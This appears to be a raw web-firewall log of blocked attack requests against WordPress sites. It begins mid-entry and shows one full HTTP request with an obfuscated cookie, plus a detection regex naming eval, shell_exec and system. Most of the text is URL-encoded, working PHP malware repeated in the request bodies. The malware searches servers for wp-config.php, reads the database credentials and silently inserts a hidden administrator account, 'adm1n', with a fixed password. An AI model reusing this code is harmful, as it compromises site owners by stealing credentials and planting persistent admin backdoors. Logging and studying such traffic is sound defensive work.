0%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvq2xvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvrS9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nhost:dewenlabels.com\nsec-fetch-user:?1\ncontent-length:12640\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\n\nwi=%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B"]
["2026-04-20 05:40:18","213.209.159.254","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Cy:%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B